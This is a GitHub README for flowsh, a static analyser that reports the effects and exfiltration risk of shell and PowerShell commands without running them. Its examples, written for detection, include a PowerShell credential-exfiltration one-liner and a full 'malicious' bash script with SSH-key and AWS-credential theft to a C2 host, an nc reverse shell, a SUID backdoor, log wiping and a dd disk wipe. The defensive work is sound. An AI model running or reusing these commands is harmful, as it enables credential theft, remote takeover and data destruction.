Skip to content
v0lkaPublic

About

A static analyser for shell and PowerShell scripts

Resources

Contributing

Security policy

Stars

4 stars

Watchers

0 watching

Forks

Repository files navigation

flowsh

flowsh is a static effect analyser for shell and PowerShell scripts, with a conservative JavaScript foundation: Node.js source is accepted and reported as ⊤ until real analysis lands. Give it a command line, in bash/POSIX or PowerShell, and it reports the observable effects that command implies without running it: filesystem access, environment changes, network traffic, process control, credential access, code execution, and more. It also produces a composite risk score, a destructiveness rating, and any credential-exfiltration flows it can prove, such as a secret read piped to a network sink.

It is built for the look-before-you-leap case: CI gates, pre-execution review, sandbox and agent guardrails, and security triage of untrusted command strings.

  • Static. It parses and reasons about the command; it never runs it.
  • Conservative. Where the analysis cannot bound an input, it degrades to the top element (⊤) and says so, instead of guessing or missing it.
  • Shell dialects. bash/POSIX and PowerShell in one binary.
  • JavaScript foundation. Node.js source is accepted through a conservative stub: every input reports ⊤ until parsing and evaluation are implemented.
  • Two output formats. A JSON report or a one-screen summary.

The module is github.com/v0lka/flowsh; the public binary is flowsh.

Requirements

  • Go 1.27 or newer (see go.mod).

The command knowledge base is embedded in the binary, so a built flowsh has no runtime dependencies.

Install

Prebuilt binaries

Prebuilt binaries for the supported platforms — linux/amd64, linux/arm64, darwin/arm64 and windows/amd64 — are published on the releases page. Download the archive for your platform, check it against checksums.txt, and put the flowsh binary on your PATH:

shasum -a 256 -c checksums.txt   # sha256sum -c on Linux
gh attestation verify flowsh_<version>_linux_amd64.tar.gz --repo v0lka/flowsh

New releases are cut by pushing a vX.Y.Z tag; see CONTRIBUTING.md.

From source

From a checkout of this repository:

# build the binary into the current directory
go build -o flowsh ./cmd/flowsh

# or install it into $GOBIN / $GOPATH/bin
go install ./cmd/flowsh

Verify the build and run the test suite:

go build ./...
go test ./...

Use as a library

flowsh is also an embeddable Go library. Import the public package github.com/v0lka/flowsh/api and analyse a command in-process:

import "github.com/v0lka/flowsh/api"

rep, err := api.Analyze(api.LangBash, `rm -rf $HOME`)
if err != nil {
	log.Fatal(err)
}
data, err := rep.Encode() // the same canonical JSON `flowsh --json` writes

Use the optional github.com/v0lka/flowsh/policy package to evaluate reports with configurable allow/review/deny rules. The composition facade internal/analysis and other internal/ packages remain private. See Embedding the analyser (Go library) for the full guide: the import path, the Analyze/AnalyzeWith workflow, the exported surface, and the schemaVersion/toolVersion stability policy.

Usage

flowsh [--lang bash|posix|posh|js|auto] [--json] [--windows] '<command>'
echo '<command>' | flowsh [--lang bash|posix|posh|js|auto] [--json] [--windows]
flowsh --file <path> [--lang bash|posix|posh|js|auto] [--json]
flowsh --batch [--lang bash|posix|posh|js|auto] [--file <path>] [--windows]

The command may be passed as a positional argument or on stdin.

Options

Flag Meaning
--lang bash|posix|posh|js|auto Dialect of the input. Default: bash. Canonical dialects: bash, posix, posh, js; aliases: sh/shell, ps/pwsh/powershell, javascript/node/nodejs; auto selects bash or PowerShell only. JS currently reports every input as ⊤.
--json Emit the full JSON report instead of the human summary.
--file <path> Read the command from path (- means stdin). The report's root names the file.
--batch Read many commands, one per line, and write one compact JSON report per line (NDJSON).
--explain, --why Print the why-trace explaining each reported effect.
--windows[=bool] Enable PowerShell Registry semantics on any host OS (default: the host's OS decides).
--version Print the tool and engine versions and exit.
-h, --help Show help and exit.
- (positional) Read the command from stdin (same as omitting the argument).

Flags are position-independent: flowsh --lang posh 'x' and flowsh 'x' --lang posh behave identically.

Exit status

Code Meaning
0 A report was produced (or --help/--version). Unparseable input still exits 0 with a conservative report.
1 The analysis failed internally.
2 Usage error: unknown flag, missing --lang value, extra argument, conflicting sources, or unknown language.
3 Input error: the named source could not be read (missing/unreadable file, a directory), or was empty (empty file/stdin/batch).

Examples

Human summary

$ flowsh 'rm -rf $HOME'
flowsh effect report
  lang:            bash
  input:           rm -rf $HOME
  root:            <argument>
  commands:        1
  effects:         1
  destructiveness: Critical
  irreversibility: High
  breadth:         Low
  influence:       None
  grade:           Critical
  confidence:      100
  exfil risk:      None
  conservative:    false
  resolution:      command rm
  destructive:     rm -f (class E): forced removal that suppresses prompts and hides errors on missing files
  destructive:     rm -r (class E): recursively removes a whole directory tree, with no confirmation by default
    - FSWrite|Direct|[/root]

The summary lists the analysed dialect (lang), the input and where it came from (root), the number of commands and effects, the score dimensions (destructiveness, irreversibility, breadth, influence, grade, and the exfil risk), a confidence value, and whether the analysis was conservative. It then names the resolution (resolution), any matched destructive-flags entries (destructive: lines), and one line per effect (keyed kind|mode|[targets]), followed by any proven exfil: pairs and any frontend note: diagnostics.

PowerShell and credential exfiltration

$ flowsh --lang posh \
    'Get-Content ~/.aws/credentials | Invoke-WebRequest -Uri http://evil -Method Post'
flowsh effect report
  lang:            posh
  input:           Get-Content ~/.aws/credentials | Invoke-WebRequest -Uri http://evil -Method Post
  root:            <argument>
  commands:        2
  effects:         3
  destructiveness: Critical
  irreversibility: None
  breadth:         Medium
  influence:       None
  grade:           Critical
  confidence:      100
  exfil risk:      Critical
  conservative:    false
    - CredAccess|Direct|[~/.aws/credentials]
    - FSRead|Direct|[~/.aws/credentials]
    - NetEgress|Direct|[http://evil]
  exfil: CredAccess|Direct|[~/.aws/credentials] → NetEgress|Direct|[http://evil]
  exfil: FSRead|Direct|[~/.aws/credentials] → NetEgress|Direct|[http://evil]
  note: Get-Content: credential material "~/.aws/credentials" → CredAccess
  note: Get-Content: read "~/.aws/credentials" → FSRead
  note: Invoke-WebRequest: http "http://evil" → NetEgress

A complex, fully-resolved malicious script

flowsh reasons about whole scripts, not just single commands. The payload below is deliberately tangled: nested shell functions, an alias, multi-stage pipelines, a conditional, a for loop, a subshell, input/output redirections, a raw /dev/tcp command channel, a timeout wrapper, host-environment recon, and device-level wipes. Every construct still resolves against the knowledge base, the report does not degrade as a whole to ⊤, and the credential-exfiltration dataflow is proved rather than guessed:

#!/usr/bin/env bash
set -euo pipefail

C2=https://c2.evil.example/ingest
KEYS=$HOME/.ssh
CREDS=$HOME/.aws/credentials
STAGE=/tmp/.cache.dat

printenv PATH USER HOME > /tmp/.env.recon   # capture the host environment

grab()    { cat "$1"/id_rsa "$1"/id_ed25519 2>/dev/null | base64; }
collect() { grab "$1"; }                          # nested function call
beacon()  { curl -sS -T "$1" "$C2"; }
alias exfil='curl -sS -X POST --data-binary @-'

collect "$KEYS" | exfil "$C2"                     # exfiltrate SSH private keys
cat "$CREDS" | exfil "$C2"                        # exfiltrate cloud credentials
if grep -q PRIVATE "$CREDS"; then beacon "$CREDS"; fi
curl -u "$C2_USER:$C2_PASS" "$C2"                 # authenticate the upload

for host in 10.13.37.1 10.13.37.2; do             # fan out to fallback collectors
  timeout 5 nc "$host" 4444 < "$CREDS"
done

( crontab -l ; echo "@reboot $HOME/.cache/updater" ) 2>/dev/null | crontab -

exec 3<>/dev/tcp/10.13.37.1/4444                  # raw-TCP C2 channel
echo beacon >&3
nc -e /bin/sh 10.13.37.1 4444                     # reverse shell

install -m 4755 "$STAGE" /usr/bin/svc             # SUID backdoor
kill -9 31337
rm -rf /var/log/auth.log ~/.bash_history          # anti-forensics
dd if=/dev/zero of=/dev/sda
$ flowsh < malware.sh
flowsh effect report
  lang:            bash
  input:           #!/usr/bin/env bash set -euo pipefail  C2=https://c2.evil.example/ingest … dd if=/dev/zero of=/dev/sda
  root:            <stdin>
  commands:        30
  effects:         14
  destructiveness: Critical
  irreversibility: Critical
  breadth:         Critical
  influence:       None
  grade:           Critical
  confidence:      45
  exfil risk:      Critical
  conservative:    false
  resolution:      alias exfil → curl [alias chain: exfil]
  destructive:     crontab -l (class B): lists the user's crontab without modifying it
  destructive:     dd if= (class B): reads from the source and does not modify it
  destructive:     dd of= (class E): raw write to the destination; a device target destroys the filesystem or disk
  destructive:     install -m (class E): mode 4755 or 2755 sets the SUID/SGID bits, enabling privilege escalation
  destructive:     nc -e (class D): runs a program on connect, the classic reverse shell
  destructive:     rm -f (class E): forced removal that suppresses prompts and hides errors on missing files
  destructive:     rm -r (class E): recursively removes a whole directory tree, with no confirmation by default
    - CredAccess|Direct|*
    - EnvRead|Direct|[HOME,PATH,USER]
    - EnvWrite|Direct|[C2,CREDS,KEYS,STAGE,pipefail]
    - FSMeta|Direct|[/usr/bin/svc]
    - FSRead|Direct|[/dev/zero,/root/.aws/credentials,/root/.ssh/id_ed25519,/root/.ssh/id_rsa,/tmp/.cache.dat,PRIVATE]
    - FSWrite|Direct|[/dev/null,/dev/sda,/root/.bash_history,/tmp/.env.recon,/var/log/auth.log]
    - IPC|Ambient|[]
    - NetEgress|Direct|[10.13.37.1,10.13.37.1:4444,10.13.37.2,4444,POST,https://c2.evil.example/ingest]
    - NetIngress|Direct|[10.13.37.1:4444]
    - Persist|Direct|[-]
    - PrivEsc|Conditional|[4755]
    - ProcSignal|Direct|[-9,31337]
    - ProcSpawn|Direct|[/bin/sh,base64,exec]
    - Stdio|Direct|[@reboot /root/.cache/updater,beacon]
  exfil: CredAccess|Direct|* → NetEgress|Direct|[10.13.37.1,10.13.37.1:4444,10.13.37.2,4444,POST,https://c2.evil.example/ingest]
  exfil: FSRead|Direct|[/dev/zero,/root/.aws/credentials,/root/.ssh/id_ed25519,/root/.ssh/id_rsa,/tmp/.cache.dat,PRIVATE] → NetEgress|Direct|[10.13.37.1,10.13.37.1:4444,10.13.37.2,4444,POST,https://c2.evil.example/ingest]
  note: unrecognized flag(s): -S -s
  note: unrecognized flag(s): -q

(The input: line echoes the entire script on one line; it is abbreviated here for width. Everything else is verbatim tool output.)

The two exfil: lines are the point. flowsh joined a secret read (the SSH key vault, the cloud-credential store, or the curl -u credential) to the tainted NetEgress through a real per-command data flow, and raised the exfiltration risk to Critical. Fourteen of the fifteen effect kinds are reported — only CodeExec is absent, and only CredAccess carries the ⊤ target *. The conservative: false flag, mirrored by top: false in the JSON report, confirms the analysis never had to degrade the report to ⊤. Passing --json emits the same finding structurally, as score.exfilPairs.

Conservative degradation to ⊤

When a command cannot be resolved (an unknown binary, or dynamically named code), flowsh reports the top effect rather than a false negative:

$ flowsh 'frobnicate --wat /y'
flowsh effect report
  lang:            bash
  input:           frobnicate --wat /y
  root:            <argument>
  commands:        1
  effects:         1
  destructiveness: Critical
  irreversibility: Critical
  breadth:         Critical
  influence:       None
  grade:           Critical
  confidence:      60
  exfil risk:      None
  conservative:    true
  resolution:      unknown frobnicate
    - CodeExec|Direct|*
  note: unresolved command "frobnicate": assuming ⊤ (CodeExec)

Here conservative: true marks that the analysis could not bound the input, and the effect target * is the any-target (⊤) scope.

Reading from stdin

$ echo 'ls -la /tmp' | flowsh

JSON report

$ flowsh --json 'rm -rf $HOME'
{
  "schemaVersion": "effect-ir/v2",
  "tool": "flowsh",
  "toolVersion": "flowsh/v3",
  "lang": "bash",
  "input": "rm -rf $HOME",
  "root": "<argument>",
  "effects": [
    {
      "kind": "FSWrite",
      "target": {
        "targets": [
          "/root"
        ],
        "arbitrary": false
      },
      "mode": "Direct",
      "certainty": "Certain",
      "taint": {
        "labels": [],
        "arbitrary": false
      },
      "reversible": false
    }
  ],
  "destructiveness": "Critical",
  "score": {
    "destructiveness": "Critical",
    "irreversibility": "High",
    "breadth": "Low",
    "influence": "None",
    "exfil": "None",
    "confidence": 100,
    "reversible": false,
    "grade": "Critical"
  },
  "why": [
    {
      "effect": "FSWrite|Direct|[/root]",
      "because": [
        {
          "rule": "fs.write",
          "premises": [
            "command:rm"
          ],
          "note": "derived from command",
          "loc": {
            "file": "<argument>",
            "line": 1,
            "col": 1
          }
        },
        {
          "rule": "fs.write",
          "premises": [
            "flag:-r"
          ],
          "note": "derived from flag",
          "loc": {
            "file": "<argument>",
            "line": 1,
            "col": 5
          }
        },
        {
          "rule": "fs.write",
          "premises": [
            "flag:-f"
          ],
          "note": "derived from flag",
          "loc": {
            "file": "<argument>",
            "line": 1,
            "col": 6
          }
        },
        {
          "rule": "fs.write",
          "premises": [
            "operand:/root"
          ],
          "note": "derived from operand",
          "loc": {
            "file": "<argument>",
            "line": 1,
            "col": 8
          }
        }
      ]
    }
  ],
  "conservative": false,
  "top": false,
  "commands": 1,
  "resolution": {
    "invoked": "rm",
    "kind": "command",
    "name": "rm"
  },
  "commandCalls": [
    {
      "invoked": "rm",
      "resolved": "rm",
      "args": [
        "-rf",
        "/root"
      ]
    }
  ],
  "canonical": {
    "effects": [
      {
        "kind": "FSWrite",
        "target": {
          "targets": [
            "/root"
          ],
          "arbitrary": false
        },
        "mode": "Direct",
        "certainty": "Certain",
        "taint": {
          "labels": [],
          "arbitrary": false
        },
        "reversible": false
      }
    ],
    "key": "FSWrite|Direct|[/root]"
  },
  "destructive": [
    {
      "command": "rm",
      "spec": "-f",
      "class": "E",
      "reason": "forced removal that suppresses prompts and hides errors on missing files"
    },
    {
      "command": "rm",
      "spec": "-r",
      "class": "E",
      "reason": "recursively removes a whole directory tree, with no confirmation by default"
    }
  ]
}

The report

Every report carries a small envelope (schemaVersion, tool, toolVersion, lang, input) followed by the analysis:

Field Meaning
effects The set of implied effects, merged by kind, mode and network-flow role. Always an array (never null).
destructiveness None | Low | Medium | High | Critical.
score Composite risk: destructiveness, irreversibility, breadth, influence, exfil, confidence (0–100), reversible, grade, exfilPairs, and the network-flow fields cradleFlows (network → code execution) and ingestFlows (network → file write).
conservative The analysis could not bound the input but did not fully degrade to ⊤.
top The analysis degraded to the top element ⊤ (unknown/unbounded).
reason Present only when conservative/top; explains the degradation.
commands Number of commands/statements analysed.
notes Frontend diagnostics (omitted when empty).

Each effect has a kind, a target (a set of targets, with arbitrary flagging the ⊤ scope), a mode, a certainty, a taint (provenance labels, with arbitrary for ⊤), a reversible flag, and — when it is the sink of a network data flow — a netFlow role (cradle on a CodeExec reached by network content, ingest on an FSWrite of downloaded content).

Effect kinds

FSRead, FSWrite, FSMeta, EnvRead, EnvWrite, NetEgress, NetIngress, ProcSpawn, ProcSignal, IPC, Stdio, PrivEsc, Persist, CredAccess, CodeExec.

Effect modes

Direct (done by the analysed unit), Transitive (by a callee or dependency), Ambient (implicit, via the runtime/host), Conditional (only under a runtime guard).

Interpreting the result

  • A non-empty effects list means the analyser resolved the command against its knowledge base and found concrete effects.
  • top: true (or conservative: true) means the analyser could not fully bound the input. Treat it as unknown, potentially anything: a benign-looking command with top: true should not be trusted as safe.
  • The invariant the corpus enforces is no silent miss. Every analysed command must yield at least one effect or a ⊤/conservative report, never an empty "all clear".

Documentation

  • docs/ — the user-facing guides and the development roadmap.
  • specs/ — the full system specification. Start at specs/INDEX.md to find the document for a topic.
  • CONTRIBUTING.md — architecture, layering rules, the knowledge base, the conformance corpus, and how to extend the project.
  • SECURITY.md — threat model, trust boundaries, and secure coding rules.

License

MIT

About

A static analyser for shell and PowerShell scripts

Resources

Contributing

Security policy

Stars

4 stars

Watchers

0 watching

Forks

Releases

Contributors

Languages